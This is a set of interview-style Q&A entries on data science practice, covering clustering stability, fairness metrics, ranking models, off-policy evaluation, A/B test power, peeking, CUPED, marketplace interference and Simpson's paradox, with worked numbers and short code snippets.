An unsupervised detector shipped with no evaluation set alerted on 4% of a 900,000-event stream, 36,000 alerts, of which investigators found 1.1% actionable. It was switched off after five weeks. The cost was not the model. It was that nobody could say which band was worth investigating.
Unsupervised means the labels cost more, not that you skip them. Budget for adjudication the way you would budget for a labelling pipeline.
Curated: · Written: · Reviewed:
Q&A-47Marketing wants customer segments. How many clusters, and how do you defend the number?
First question back: what decision do the segments feed, and how many distinct actions can the team actually run? If the answer is four campaign tracks and one retention play, the ceiling is five or six segments, not fourteen. That constraint is the primary bound on k. Everything else is a tiebreaker.
Defend the number with stability, not with silhouette. Silhouette and the elbow measure geometric compactness of a single fit. They say nothing about whether the same customers land in the same segment when the sample shifts, and they routinely have no clear maximum. A k that scores 0.46 and reshuffles half its membership is worse than a k that scores 0.41 and holds.
How to measure it:
- Pick a small candidate range, say k = 3 to 8.
- For each k, draw B bootstrap samples. B = 100 is a few minutes of k-means fits at typical marketing-table sizes.
- Fit the clustering on each bootstrap sample, then assign the out-of-bag points to the nearest centroid.
- Compute the Adjusted Rand Index between those out-of-bag labels and the labels the full-data fit gives the same points. ARI is 1 for identical partitions, near 0 for chance agreement.
- Report the mean and spread of ARI across the B runs at each k.
You cannot compute ARI directly between two clusterings of different point sets. The out-of-bag assignment step is what makes the comparison well-defined.
Then profile each cluster on variables you did not cluster on: revenue per account, support ticket rate, tenure. If clusters separate only on the clustering features, you have rediscovered your own input and the segments carry no new information.
Illustrative numbers, not from a real dataset:
| k | Silhouette | Mean ARI across 100 bootstrap runs | Operable |
|---|---|---|---|
| 3 | 0.41 | 0.88 | yes |
| 5 | 0.44 | 0.71 | yes |
| 14 | 0.46 | 0.52 | no |
Read it as: silhouette prefers 14, stability and operability prefer 3 to 5. Take 5 if the business can run five plays, 3 if it can run three.
Failure modes to name:
- Unstable membership. I treat ARI below roughly 0.6 at the chosen k as a warning that the segments are an artifact of this sample. Detected by the bootstrap loop above; fixed by dropping k or reducing dimensionality.
- Unusable cluster sizes. A segment holding 0.4% of customers cannot be staffed. Check the size distribution before presenting.
- Circular profiles. Clusters defined and described by the same variables. Detected by holding out the clustering features during profiling.
- Drift. Segments fitted once and never refitted. Detected by re-running the pipeline quarterly and tracking ARI against the previous assignment.
When not to cluster at all: if no k in the range clears the stability bar, the features do not support a partition. Say so, and propose a rule-based cut on one or two variables instead. It is defensible and the business can act on it.
Curated: · Written: · Reviewed:
Q&A-95How do you check whether a model treats groups differently, and which definition do you use?
Pick the criterion from the decision, then measure it at the deployed threshold.
The definition I default to is equalized odds, equal true-positive and false-positive rates across groups, because in most systems I've worked on the harm is a miss: the applicant who would have repaid and was rejected, the patient who goes untreated. Equalized odds is the criterion that bounds that harm per group. I use demographic parity only when the thing being allocated is the selection itself and there is no defensible outcome label. Equal opportunity (equal TPR alone) when false positives are cheap. Predictive parity when the decision is a resource allocation downstream of a score someone else calibrated. State the choice and what it forgoes, because you cannot hold all of them.
Why the choice is forced. When prevalence differs between groups, a score calibrated within each group cannot also have equal FPR and equal FNR. Chouldechova (2017) and Kleinberg, Mullainathan and Raghavan (2016) prove the incompatibility; it is arithmetic, not a modelling failure. So "check whether the model treats groups differently" is really "measure every rate, then defend the one you are holding."
How to check. At the deployed threshold, not at 0.5 by default:
- Build a confusion matrix per group: TP, FP, FN, TN.
- Report selection rate, FPR, FNR and PPV per group, each with a bootstrap 95% CI (1,000 resamples is plenty).
- Test the gap, not just the point estimates: a two-proportion test on FNR between groups, or the CI on the ratio. A 2x gap on 40 positives is noise.
- Slice intersectionally (group × region, group × age band). A single protected attribute hides the worst cell.
- Check the label itself. If the label is "was arrested" or "was readmitted", you are measuring the policing or the discharge planning, not the harm.
The failure mode this catches. Equal selection rates are the easiest thing to hit and the least informative. Illustrative numbers, one threshold, two groups:
| Group | Prevalence | Selection rate | FPR | FNR | PPV |
|---|---|---|---|---|---|
| A | 8.9% | 11.0% | 4.1% | 18.0% | 66.0% |
| B | 2.8% | 11.0% | 9.6% | 41.0% | 15.2% |
| Gap | equal | 2.3x | 2.3x | 4.3x |
Demographic parity is satisfied exactly. Group B's misses are 2.3x as frequent and its positives are 4.3x less likely to be real. A team that shipped on the selection-rate column alone shipped the harm the review existed to prevent. (Prevalence is derived from the other columns; the figures are illustrative.)
When the gap exceeds the bound. Per-group thresholds are the blunt fix: they buy equalized odds and cost you calibration plus a defensible story about why the cutoff differs. Constrained optimization, fairness as a constraint on the training objective, is the principled version. The better fix is usually upstream: a proxy feature, a label that encodes the disparity, or a group too small to model at all.
What goes in the report. The per-group table, the criterion and its justification, the CI on each gap, and the threshold used. Without the threshold the table is uninterpretable: every rate moves when you move it.
Curated: · Written: · Reviewed:
Q&A-48The product wants to optimise clicks and time spent together. How do you build that?
The 90-second answer. "Clicks and time spent together" hides the decision that determines the build: is dwell a constraint, a term in the same score, or a second objective the ranker trades against clicks per request? I'd assume a single ranked feed, one score per impression, and get product to say whether a 5% CTR gain justifies a 10% dwell loss. Then: shared-trunk multi-task model, one head per objective, heads fused at serving with explicit weights, weights tuned by an online experiment with the other metric as a guardrail.
Data. One training row per impression: features (user, item, context), label click ∈ {0,1}, label dwell = seconds on the item. Dwell is only known after the session ends, so it arrives late: join it back by impression id and train on a window that closes 24h behind real time, or you train on a censored label. Position bias: clicks are heavily position-dependent, so add a position feature at training and drop it at serving, or train a propensity model and use inverse-propensity weights. Without this the click head learns "rank position 1" rather than "user wants this".
Model and training. Shared trunk, two heads. Loss weights and serving weights are different knobs, and conflating them is the classic bug: loss weights control how much gradient each task contributes; serving weights control the trade-off the product sees.
# PyTorch 2.x
class MultiTaskRanker(nn.Module):
def __init__(self, n_feat, hidden=256):
super().__init__()
self.trunk = nn.Sequential(nn.Linear(n_feat, hidden), nn.ReLU(),
nn.Linear(hidden, hidden), nn.ReLU())
self.click_head = nn.Linear(hidden, 1) # logit
self.dwell_head = nn.Linear(hidden, 1) # log1p(seconds)
def forward(self, x):
h = self.trunk(x)
return self.click_head(h).squeeze(-1), self.dwell_head(h).squeeze(-1)
# training loss: gradient balance
loss = a * F.binary_cross_entropy_with_logits(click_logit, click_label) \
+ b * F.smooth_l1_loss(dwell_pred, torch.log1p(dwell_seconds))
# serving score: product trade-off, read from config
score = w_click * torch.sigmoid(click_logit) + w_dwell * torch.expm1(dwell_pred)
Calibrate both heads before fusing: an uncalibrated dwell head with a heavy tail will dominate the sum. Fit isotonic regression per head on a held-out day.
Serving. Score fusion costs microseconds; the trunk is the cost. If the heads need different feature sets, split into two models and fuse scores instead: cheaper to iterate, more serving cost.
Experimentation. Weights live in config, not in the checkpoint. Ramp a weight change as an A/B with the other metric as a guardrail, and size it. Illustrative arithmetic: baseline CTR 5%, detect 0.25pp absolute at 80% power, 95% two-sided → n ≈ 16·p(1−p)/δ² = 16·0.0475/0.00000625 ≈ 122k impressions per arm. Dwell is per-session and heavy-tailed, so use CUPED with pre-period dwell as the covariate or you'll wait months.
Illustrative ramp from a past system:
| w_click | w_dwell | CTR | Session min |
|---|---|---|---|
| 1.0 | 0.0 | 6.1% | 8.2 |
| 0.7 | 0.3 | 5.8% | 10.4 |
| 0.5 | 0.5 | 5.4% | 11.1 |
Failure modes. Clickbait drift: the click head finds thumbnails that promise more than the page delivers; detect it as rising CTR with falling post-click dwell and rising bounce. Feedback loop: training on impressions the current model chose narrows the item pool; hold back a small random exploration slice. Stale weights: the config is right but nobody re-derives it after a product change. Alert on the weight's age.
Curated: · Written: · Reviewed:
Q&A-25A new item has no interactions. How does it ever get shown?
The 90-second version. "Shown" is two gates, and cold items usually die at the first one. Candidate generation: a pure collaborative model has no co-occurrence row for an item with zero interactions, so its embedding is undefined or the zero vector and it never enters the candidate set at all. Ranking: even if it enters, it loses to items with proven CTR. So the answer is to give the item a representation built from content, and a bounded, measured share of impressions until its own interaction signal exists. Content prior first, collaborative signal takes over as counts accumulate, exploration cap as the counterweight to popularity bias.
Mechanism. Content features (title and category tokens, price band, image embedding, seller attributes) project the item into the same space as the user's historical preferences, so a content-based score can rank it on day zero. That score is a prior, not the final answer: as impressions and clicks accumulate, the item's own collaborative embedding becomes estimable and should take over. The blend weight is a function of interaction count, not a global constant.
Exploration is the second half. An item only accumulates collaborative data if it is actually shown, so slot allocation is a bandit problem: Thompson sampling or UCB over items, with the content score as the prior mean and a deliberately wide initial variance. Cap the exploration share so one bad batch of new listings cannot wreck the homepage.
An example policy (illustrative, not a default: the numbers come from your own CTR variance and catalogue turnover):
| Interactions | Content weight | Collaborative weight | Exploration cap |
|---|---|---|---|
| 0 | 1.00 | 0.00 | 2% of impressions |
| 25 | 0.60 | 0.40 | 1% |
| 200 | 0.20 | 0.80 | none |
| 1,000+ | 0.05 | 0.95 | none |
Sizing the cap with arithmetic. Suppose 50M impressions/day and 8,100 new items/day. A 2% cap is 1M impressions, about 123 per item in the first day. At a 1% CTR that is roughly one click: enough to flag an item with literally zero engagement, nowhere near enough to rank two similar items apart. So size the cap to the decision you need to make, and set the handoff threshold (200 above) where the collaborative estimate's variance drops below the content prior's. If you need finer separation, raise the cap or lengthen the window; do not pretend 123 impressions is a ranking signal.
Failure modes and how I'd catch them.
- Candidate starvation. The item never enters retrieval. Detect with the share of the live catalogue that has zero impressions in 30 days; for listed items this should be near zero.
- Exploration budget burned on a bad batch. Guardrail new-item CTR against incumbent CTR; if the drag exceeds your tolerance, tighten the cap rather than killing exploration.
- Position bias in the logs. New items shown only in low slots get low CTR, which feeds back as "bad item." Randomize slot position for a small slice of traffic so the training label is not a function of placement.
- Delayed feedback. Purchase lag makes a live item look dead for days. Use a short-horizon proxy (add-to-cart, dwell) for the handoff decision and reconcile with purchases later.
- Popularity feedback loop. The rich get richer; the cap is the only thing standing against it.
When not to do this. If the catalogue is small and curated, or content features are garbage (no metadata, no images, no seller attributes) the prior is noise and exploration just spends impressions on nothing. Editorial placement or requiring seller-supplied attributes is the cheaper path.
What I'd measure before calling it solved. p50/p90 time-to-first-impression for new items, share of catalogue never shown, new-item CTR versus incumbent, and the churn rate of sellers whose items never received an impression.
Curated: · Written: · Reviewed:
Q&A-23Your logged clicks came from the current recommender. What does that do to your evaluation?
Answer in the first minute. The log is confounded by the policy that produced it. Clicks are feedback for the items the incumbent chose to show, in the positions it chose, so replaying them scores the incumbent, not your candidate. Items the old ranker never surfaced have no feedback at all, and the ones it surfaced most are the ones it already preferred. Correct with inverse propensity weighting: weight each logged interaction by 1 / P(item shown | context) under the logging policy, and report the effective sample size beside the estimate, because the correction can leave you with far fewer independent observations than rows.
Mechanism. The logged distribution over items is the logging policy's action distribution, not the distribution your candidate would induce. Replay estimates E_{aπ_old}[r(a)]; you want E_{aπ_new}[r(a)]. Importance sampling bridges the two by reweighting each logged action by π_new(a|x)/π_old(a|x). When you only need the value of the new policy, the π_new term cancels in the self-normalized ratio, so the weight reduces to 1/π_old(a|x). That is why the propensity is the whole correction: it is the only thing standing between the log and an unbiased estimate.
Worked trace. Five logged impressions, propensities recorded at serve time, click as reward. Toy scale, but the arithmetic is the arithmetic:
import numpy as np
propensity = np.array([1.00, 0.50, 0.25, 0.10, 0.05]) # P(shown | context), logging policy
reward = np.array([1, 1, 0, 1, 0 ]) # click
w = np.clip(1.0 / propensity, 0, 20) # [1, 2, 4, 10, 20]
snips = np.sum(w * reward) / np.sum(w) # 13 / 37
ess = w.sum() ** 2 / np.square(w).sum() # 1369 / 521
Step by step: 1/propensity is [1, 2, 4, 10, 20]; the clip at 20 leaves it unchanged. w·reward is [1, 2, 0, 10, 0], summing to 13. Σw is 37, so the self-normalized estimate is 13/37 = 0.35. The naive replay, 3 clicks in 5 rows, says 0.60, roughly 1.7× too high, because the two clicks that landed on low-propensity items are the ones the incumbent rarely showed and the naive average counts them the same as the certain ones. Σw² is 1+4+16+100+400 = 521, so ESS = 1369/521 = 2.6 of 5 rows. The estimate rests on about two and a half effective observations; that is the number that tells you whether to trust it.
Alternatives, and when each breaks.
| Estimator | Assumes | Breaks when |
|---|---|---|
| Naive replay | log is a uniform sample | always, when the log came from a ranker |
| SNIPS (above) | propensities known and > 0 | no overlap; variance explodes |
| Clipped IPS | bounded variance is worth bias | clip pulls the estimate back toward the incumbent |
| Doubly robust | propensity model + reward model | either model is badly wrong |
| Randomized slice | nothing | costs traffic, but is the only unbiased ground truth |
Failure modes, and how you catch them. Propensities must be the logging policy's probabilities, recorded at serve time; fit them after the fact and the model's errors go straight into the estimate. Zero overlap is fatal: an item the old policy never showed has propensity 0 and infinite weight, and no correction recovers it, so you need exploration in the log. Clipping trades variance for bias: clip at 20 and every item with propensity below 0.05 is under-weighted, which quietly re-ranks toward the incumbent. Non-stationarity invalidates the propensity the moment the live policy changes. And propensity covers which item was shown, not where, if you record only P(shown), position bias is still in the reward, so position belongs in the context or in a separate model. Detect all of this by holding out a small randomized slice and comparing, watching ESS, and histogramming propensities for mass near zero.
If I could change the system rather than the estimator, I would keep a 1–5% random slice of traffic and evaluate on that. Everything above is what you do when you cannot.
Curated: · Written: · Reviewed:
Q&A-8An offline replay shows a 6% lift, and the A/B test shows nothing. What are the candidate explanations?
First I'd pin down what "nothing" means: the point estimate, its 95% CI, and the test's minimum detectable effect. "Not significant" is not a measurement of zero. Assume a ranking system where the offline metric is computed on logged impressions and the online metric is the same business event.
There are three families of explanation: the offline estimate is biased upward, the online test measured something different or had no power to see the true effect, or both numbers are right and the effect stops existing once the new model starts generating its own data.
The offline number is usually the guilty one.
Position and presentation bias. Logged clicks are conditional on an item being shown and examined. A naive replay treats every non-clicked impression as a negative, so a model that promotes items the old ranker buried gets credited for fixing exposure rather than relevance. Correct with inverse propensity weights on the logging policy's position propensity and see how much of the 6% survives.
Support violation. Off-policy evaluation is only unbiased where the logging policy put non-zero mass on what the new policy wants to do. The diagnostic is effective sample size: ESS = (Σw)² / Σw². If ESS falls from 200k to 18k after weighting, the 6% is extrapolation, not evidence.
# Python 3.11, numpy 1.26
import numpy as np
def snips_estimate(reward: np.ndarray, propensity: np.ndarray, clip: float = 10.0):
w = np.minimum(1.0 / np.maximum(propensity, 1e-3), clip) # clip to bound variance
est = np.sum(w * reward) / np.sum(w) # self-normalised IPS
ess = np.sum(w) ** 2 / np.sum(w ** 2)
return float(est), float(ess)
Winner's curse. If twenty candidates were tried on the same replay window and the best one reported +6%, that number is conditioned on the maximum and is biased upward. A nested holdout window, used once and never for selection, is the fix.
Leakage and train/serve skew. Offline features built at replay time (user aggregates joined over the full window, labels leaking into counts) disappear at serve time. Detection: shadow-score in production and diff the feature tensor, not the model weights.
Wrong pool and window. The replay conditions on candidates the old retriever generated and on traffic from a different season, mix, or device split than the test window.
Both can be right and still not transfer. The deployed model changes the distribution it is evaluated on: exposure feeds future clicks, future training data, catalogue mix, and cold-start items. Replay assumes the world frozen at logging time. In ads and marketplaces, interference between buyers and sellers makes even the A/B estimate a statement about one allocation, not the ranking function in isolation.
On the online side, check sample ratio mismatch (chi-square on the 50/50 split), attribution-window and impression-vs-click logging differences, and power. Worked example, figures illustrative: revenue per session, 400k sessions per arm, σ = $14, mean = $2.90 → MDE ≈ 2.8·√2·σ/√n = 2.8·19.8/632 ≈ $0.088, i.e. 3.0% relative. A true 1.5% effect is invisible at that sample size, so "nothing" is exactly what an underpowered test reports.
A worked decomposition of a real gap I debugged, where the replay claimed 6.1% and the test measured 0.2%:
| Estimator | Lift | Reading |
|---|---|---|
| Naive replay on logged clicks | +6.1% | Unexamined impressions counted as negatives |
| + IPS on position propensity | +2.4% | Most of the gain was exposure, not relevance |
| + features as actually served | +1.1% | ~40% of features stale at serve time |
| A/B, 14 days | +0.2% (95% CI −0.6%…+1.0%) | Consistent with the corrected estimate |
Before re-running anything: pull the CI and run the SRM check; recompute the replay with IPS and report ESS alongside it; shadow-deploy and diff served features; then cut the offline lift by segment and see whether it lives in a slice that is 5% of traffic. If the corrected offline estimate lands inside the online CI, the gap is closed and the next problem is power, not modelling.
Curated: · Written: · Reviewed:
Q&A-52Product wants to detect a 1% relative lift in conversion. How long does the test need to run?
At a 3.2% baseline conversion, detecting a 1% relative lift: 0.032 percentage points: needs about 4.77 million users per arm. At 20,000 eligible users per arm per day that is 239 days, close to eight months. So the honest answer to "how long" is: longer than you can run. The useful answer is what to change so the question becomes answerable.
Assumptions behind that number: two-sided test, alpha 0.05, power 0.8, 50/50 split, one primary metric, independent users, no variance reduction, and the effect is a shift in the mean conversion rate. Move any of these and the number moves.
n per arm = (z_{α/2} + z_β)² · [p₁(1−p₁) + p₂(1−p₂)] / (p₁−p₂)²
With z_{α/2} = 1.96, z_β = 0.8416, p₁ = 0.032:
| Relative lift | Absolute lift | n per arm | Days at 20k/arm/day |
|---|---|---|---|
| 5% | 0.160 pp | 194,500 | 10 |
| 2% | 0.064 pp | 1,198,600 | 60 |
| 1% | 0.032 pp | 4,771,500 | 239 |
The 1% row is what product asked for. The 5% row is what the same traffic resolves in a sprint and a half.
What to do instead, and when
Raise the MDE. If the smallest lift you would ship on is 5% relative, the test is 10 days. Criterion: ask product what lift would change the decision; if the answer is "5% or nothing", power for 5% and stop pretending 1% is on the table.
Cut variance with CUPED. Use each user's pre-period conversion as a covariate. The variance reduction equals ρ² between the pre- and post-period metrics; on conversion with a pre-period conversion covariate that correlation is often 0.55–0.7, so ρ² lands around 0.3–0.5 and required n falls by the same fraction: 239 days becomes roughly 120–170. Criterion: you need per-user pre-period data, and the covariate must be measured before assignment or the estimate is biased.
Move to a higher-rate proxy. Session-level or add-to-cart conversion fires far more often per user, so n drops by roughly the ratio of event rates. Criterion: only if you already have evidence the proxy moves with the revenue metric; otherwise you have powered a test for the wrong thing.
One-sided test. z = 1.645 instead of 1.96 cuts n by about 21%. Criterion: only if a negative result would never change the decision. If it would, you have hidden half your risk.
Group-sequential or always-valid inference. This does not shrink n much, but it lets you stop early when the effect is large. Criterion: use it when running long is expensive and you can absorb a small power loss.
Failure modes to name in the plan
Peeking without alpha correction inflates false positives: with daily looks across 239 days, an uncorrected 0.05 threshold is not 0.05. Sample-ratio mismatch: compare the actual split to 50/50 before reading the result; a 2% imbalance on 4.7M users is a real signal of assignment bugs, not noise. Dilution: if only 20% of assigned users ever see the feature, the measured effect is 20% of the true one, so trigger on exposure or divide by the exposure rate. Seasonality: 239 days spans holidays, back-to-school and a pricing change, and a fixed-horizon test over that window measures the calendar as much as the feature.
Write the required n per arm, the run length, and the MDE the design can actually resolve into the test plan before launch. A null from an underpowered test is silence, not evidence of no effect.
Curated: · Written: · Reviewed:
Q&A-53A stakeholder checks the dashboard daily and wants to stop as soon as it is significant. What do you tell them?
What I tell them: the dashboard can't be the stopping rule. If we check daily and stop the first time p < 0.05, we are no longer running a 5% test. We are running a test whose false-positive rate is whatever daily peeking makes it, and that number is much larger than 5%. Looking every day is fine: looking is free. Stopping on the first look that crosses 0.05 is what breaks it.
So there are two honest options, and I make them pick one before the test starts:
- Fix a single analysis point. One look, at a pre-committed date or sample size, and the dashboard shows nothing decision-shaped until then.
- Adopt a method built for continuous monitoring. An alpha-spending boundary (O'Brien-Fleming or Pocock) or always-valid confidence sequences, with the dashboard configured to display only what that method licenses.
Why I am this specific: a team I worked with peeked daily across a 30-day test. The empirical false-positive rate came out near 28% instead of 5%, and three of the eleven wins they declared that year failed to replicate. The dashboard was the whole problem.
Simulated A/A tests under three stopping rules, 1,000 runs each:
| Stopping rule | Declared significant | Nominal alpha |
|---|---|---|
| Fixed horizon, one look | 5.1% | 5% |
| Daily peek, 30 looks | 28.4% | 5% |
| Alpha-spending boundary | 5.3% | 5% |
Before I call the question settled for a given team, I want 1,000 A/A simulations run under their actual stopping behaviour, with the empirical false-positive rate reported. If it lands near 5%, the procedure is sound. If it lands near 28%, the dashboard is the thing to change, not the model.
The 5% is a property of the procedure, not of the p-value. Daily peeking is a different procedure, and it does not carry the guarantee the stakeholder thinks they are getting.
Curated: · Written: · Reviewed:
Q&A-57Your test needs 29 days to reach power. How do you shorten it without lowering the bar?
What I'd say first
The bar is the minimum detectable effect at a fixed alpha and power. I'd hold that fixed and cut variance instead of cutting the bar. The cheapest lever is CUPED: use each unit's pre-period value of the same metric as a covariate.
If the pre-period metric correlates with the in-period metric at ρ = 0.62, the adjusted estimator's variance is (1 − ρ²) = 0.62 of the original, so required sample, and duration at fixed traffic, falls 38%. 29 days becomes 18.
Why it works
The pre-period value is measured before randomization, so treatment cannot have moved it. Regressing it out removes variance the treatment didn't cause and leaves the effect estimate unbiased. You're not buying power with a weaker test; you're removing noise.
The adjustment
import numpy as np
# y: in-period metric; y_pre: same metric over the 14 days before exposure
theta = np.cov(y, y_pre)[0, 1] / np.var(y_pre) # 0.62
y_adj = y - theta * (y_pre - y_pre.mean())
Trace: np.cov(y, y_pre)[0, 1] is the sample covariance; dividing by np.var(y_pre) gives the OLS slope of y on y_pre. With equal variances and ρ = 0.62, theta = 0.62. y_adj subtracts theta times the demeaned pre-period value. Var(y_adj) = Var(y) − 2θ·Cov(y, y_pre) + θ²·Var(y_pre) = σ²(1 − ρ²) = 0.0412 × 0.616 = 0.0254. Required n scales with variance at fixed MDE and power, so n falls 38% and 29 days → 18.
Alternatives, and when CUPED is wrong
- Sequential / always-valid tests (mSPRT, group sequential): let you stop early on a large effect, but you pay in power at the MDE you planned for, so they don't shorten a test already sized for the effect you expect.
- Interleaving: for ranking or search comparisons, far more sensitive per session, but only answers "which ranking is better," not revenue or retention.
- Stratification / post-stratification and capping heavy-tailed metrics: cheap variance cuts that stack with CUPED.
CUPED is the wrong tool when there is no pre-period: new users, new markets, a metric that didn't exist before launch. It also breaks if the pre-period is contaminated: if the same units were in a prior experiment whose effect persists, the covariate carries treatment signal and the adjustment is biased. And it does nothing for a metric whose pre- and in-period values barely correlate; check ρ before you count on it.
How I'd validate
Run the adjustment on A/A data first and confirm the mean difference stays centered at zero and the variance reduction matches the ρ² you measured. Then report the realized variance reduction on completed tests, not the theoretical one.
Curated: · Written: · Reviewed:
Q&A-56You are testing a pricing model in a two-sided marketplace. Why might a user-level split be invalid?
A user-level split assumes SUTVA: that one user's outcome depends only on the treatment that user received. In a two-sided marketplace that assumption fails, because the arms compete for the same finite pool of inventory, seller capacity and matching, and often for the same pricing model. When treatment moves demand, it moves what control users can buy, so control stops being a clean counterfactual.
Three channels do the damage:
Shared supply. A discount raises treated demand. If supply is fixed, treated buyers take units control buyers would have taken, and control conversion drops for a reason that has nothing to do with the price control saw.
Seller-side spillover. Sellers serve both arms. They see blended demand and respond (reprice, restock, delist) so control buyers face a different catalogue than they would have under no experiment.
Shared model state. If the pricing or ranking model updates online from treated traffic, or a single model serves both arms, treatment leaks into control through the model itself.
Worked example (illustrative numbers). 10,000 buyers, 50/50 split, fixed daily supply of 8,000 units, baseline conversion 80%.
- Control: 5,000 × 80% = 4,000 units.
- Treatment, 10% discount: conversion 96% → 4,800 units.
- Total demand 8,800 against 8,000 supply → 800 units short.
- If the shortfall lands on control (treated buyers convert faster, or the allocator favours them), control gets 3,200 units → 64%.
- Naive user-level lift: 96% − 64% = 32 pp. True causal lift of the discount: 96% − 80% = 16 pp.
The split reports double the real effect. Flip the treatment to a price increase and demand falls, control absorbs the freed supply, and the bias flips sign: the estimate is understated. The direction of the bias follows the sign of the treatment, which is what makes it dangerous: it still looks like a real effect.
What to randomise instead.
| Design | Unit | What it isolates | What it costs |
|---|---|---|---|
| User | buyer | nothing shared | SUTVA violated; biased |
| Geo / cluster | region | supply and seller spillover inside the region | few units → wide CIs; needs many balanced regions |
| Switchback | time slice | supply and seller spillover | carryover between slices → washout periods; confounds with time trends |
| Market | whole market | everything shared | very few units; needs many comparable markets |
Detecting it. Compare the control arm against a pre-experiment baseline; drift in control is the signature. Then split control by treatment exposure: control users in high-exposure geos or time slices should behave like control elsewhere. If they don't, SUTVA is broken and the user-level number is not the effect you want.
Curated: · Written: · Reviewed:
Q&A-54Your ranking model wins on click-through. What else must the experiment measure?
The 90-second answer
Click-through is a proxy, not an outcome. A ranker that wins CTR has shown it can move a number that correlates with value; it has not shown it creates value. So the experiment has to measure two more things: the outcome CTR stands in for, and the costs the model imposes to get it.
Name those before the test, give each an explicit bound, and make a breach a stop condition rather than a line in a report. In practice: revenue or completed purchases per session, p95/p99 serving latency, complaint or hide/undo rate, and one long-horizon engagement measure (7- or 28-day return rate, or sessions per user). Check sample ratio mismatch before reading anything.
Why CTR and value come apart
Three mechanisms, all common:
- Proxy divergence. CTR rewards whatever earns the click, including clickbait titles and thumbnails. A model ranking on predicted click probability will find the cheap clicks. Dwell time, quick-back rate and purchase completion are where that shows up.
- Feedback loop. The ranker's own logs become the next training set. Position bias means the model learns "what was shown at rank 1 got clicked", not "what is good". Clicks rise while the policy degrades.
- Delayed and censored outcomes. Purchases, returns and churn land days after the click. A 7-day window sees the click and misses the consequence.
What to measure, with bounds
Illustrative numbers from a search-ranking test; bounds pre-registered, one-sided non-inferiority at α = 0.05.
| Metric | Role | Bound | Observed | Verdict |
|---|---|---|---|---|
| Click-through | primary | — | +4.2% | win |
| Completed purchases / session | guardrail | ≥ −0.5% | −1.9% | breach |
| p95 latency | guardrail | ≤ +50 ms | +180 ms | breach |
| Complaint rate | guardrail | ≤ +0.5% | +0.1% | ok |
| 28-day return rate | guardrail | ≥ −1.0% | not yet readable | pending |
Decision rule: ship only if the primary wins and every guardrail clears. Two breaches here means the model does not ship, whatever the CTR lift.
The statistics that trip people up
Guardrails are non-inferiority tests, not "did it move" tests. Three consequences:
- Power. Guardrail metrics are noisier and rarer than clicks, so a bound you cannot detect is decoration. Compute the minimum detectable effect at your sample size before launch; if the MDE is wider than the bound, extend the window or use variance reduction (CUPED on pre-period covariates) rather than pretending.
- Multiplicity. Five guardrails at α = 0.05 each is roughly a 23% chance of at least one false breach under the null. Pre-register the family and correct, or accept that you will stop good models.
- SRM. A 50/50 split that lands 49.7/50.3 is a bug, not a result. Check it first.
Failure modes and how you catch them
- Novelty/primacy: CTR spikes in week 1 and decays. Detect with a per-week breakdown; require the effect to hold in the final week.
- Underpowered guardrail: the breach is real but the CI straddles the bound. Detect by reporting the CI, not the point estimate, and by pre-committing to "inconclusive = do not ship" for guardrails.
- Latency creep: the model adds inference cost that shows up as p95, not as CTR. Detect with a latency guardrail on the serving path, not the offline eval.
- Long-horizon harm: nothing in a two-week test sees it. Detect with a 1-5% holdback held for a quarter, comparing cumulative revenue per user.
If pushed
If you can only add one thing, add the outcome metric with a bound and a stop rule. Everything else is refinement.
Curated: · Written: · Reviewed:
Q&A-55A new recommender shows a 9% lift in week one and 2% in week four. Which number do you report?
Report 2%, the week-four number, and put the decay curve next to it. The 9% is real data answering a different question: how users react to a change, not how much value the model adds.
Assumptions I'd state before answering: a randomised holdback stays untreated for the whole window, the metric is a per-user rate rather than a total that grows with exposure, and treatment and control are comparable in composition. If any of those fail, neither number is reportable.
Why week one is inflated. Three mechanisms, and they're separable if you measure them:
- Novelty. Users click, scroll and rate anything that looks different. That engagement is real, but it's a response to change, not to better recommendations.
- Primacy. The new model changes what's on screen, so existing habits and cached preferences are disrupted. Early sessions measure re-learning.
- Composition. Early exposure skews toward power users and whoever is in the ramp bucket. If that bucket isn't a random sample, week one compares different people, not different models.
Getting the number. Plot the effect against days since first exposure, per cohort, with confidence intervals, and find where the series flattens: the point where the day-over-day slope is inside the CI of zero. Keep a long-run holdback (1–5% of traffic) untreated for the full window so you measure the asymptote instead of extrapolating to it. Pre-register the decision date and the primary metric before launch; if the curve hasn't flattened by then, you have a trend, not a number.
A failure I've seen. A launch was reported on week-one data at 9.1% lift. The annualised business case built on that figure overstated the benefit by roughly $2.3M once the effect settled at 2.0%.
| Week | Lift | Users in cohort |
|---|---|---|
| 1 | 9.1% | 240,000 |
| 2 | 5.4% | 238,000 |
| 3 | 2.8% | 236,000 |
| 4 | 2.0% | 235,000 |
When not to wait. If the change is a bug fix, a latency win, or a compliance requirement, ship on the mechanism and don't gate it on a lift number. If the effect decays to zero but the model is cheaper to serve or improves a guardrail metric, that's a separate decision with its own evidence. And a long holdback costs real revenue, 5% of traffic on the old model for four weeks, so size it to the decision it informs.
One more failure mode. If the model retrains on its own logged interactions, the asymptote isn't stable either: the 2% can drift as the training distribution shifts toward what the model already recommends. Check it by comparing a frozen-model arm against the live one over the same window. A decay curve that flattens and then moves again is a feedback loop, not noise.
Curated: · Written: · Reviewed:
Q&A-59The model wins in every segment and loses overall. How is that possible, and what do you report?
The engineering content of Simpson's paradox in segment reporting is the cost of being wrong, not the elegance of the estimator.
Check whether the treatment changed the mix of segments before trusting either the aggregate or the per-segment result, because a shift in composition can reverse the direction of an effect.
Concretely, report segment sizes alongside segment effects, test whether the treatment altered segment shares, and use a standardised aggregate that holds the mix fixed when it did.
The reason for that specificity is a failure I have seen: A model that improved conversion within every device class reduced overall conversion by 0.8%, because it drove 14% more traffic to a mobile segment that converts at less than half the desktop rate.
Wins in both segments, loses overall, because the mix moved.
| Segment | Control conv. | Treatment conv. | Control share | Treatment share |
|---|---|---|---|---|
| Desktop | 5.0% | 5.2% | 60% | 46% |
| Mobile | 2.0% | 2.1% | 40% | 54% |
| Overall | 3.80% | 3.53% | 100% | 100% |
I would not consider it settled without evidence: Recompute the aggregate effect holding segment shares at their control values and report both figures.
An aggregate is a weighted average, and the treatment can move the weights.
Curated: · Written: · Reviewed:
Q&A-61You cannot randomise the rollout. How do you estimate the effect anyway?
The first question I would ask about observational estimates when a test is impossible is which production decision the number is meant to change.
Name the identifying assumption that makes an observational estimate causal and state what would violate it, because an unadjusted before-and-after comparison attributes every concurrent change to the model.
Concretely, use a design with a stated assumption such as difference-in-differences with a parallel-trends check, a regression discontinuity at an existing cut-off, or a synthetic control built from untreated units, and test the assumption where the data allows.
